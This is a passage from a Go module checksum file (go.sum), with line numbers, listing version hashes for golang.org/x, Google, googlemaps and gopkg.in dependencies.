v0.0.0-20200416051211-89c76fbcd5d1/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= 78 | golang.org/x/time v0.0.0-20200630173020-3af7569d3a1e h1:EHBhcS0mlXEAVwNyO2dLfjToGsyY4j24pTs2ScHnX7s= 79 | golang.org/x/time v0.0.0-20200630173020-3af7569d3a1e/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= 80 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 81 | golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 82 | golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= 83 | golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= 84 | golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= 85 | golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 86 | google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= 87 | google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= 88 | google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= 89 | google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= 90 | google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= 91 | google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= 92 | googlemaps.github.io/maps v1.2.1/go.mod h1:cCq0JKYAnnCRSdiaBi7Ex9CW15uxIAk7oPi8V/xEh6s= 93 | googlemaps.github.io/maps v1.3.1 h1:VYFiLFgZyDVFYjPKLedOWxjmrwuaJFAc4EhqGNZfX40= 94 | googlemaps.github.io/maps v1.3.1/go.mod h1:cCq0JKYAnnCRSdiaBi7Ex9CW15uxIAk7oPi8V/xEh6s= 95 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 96 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= 97 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 98 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 99 | gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 100 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= 101 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 102 | honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= 103 | --------------------------------------------------------------------------------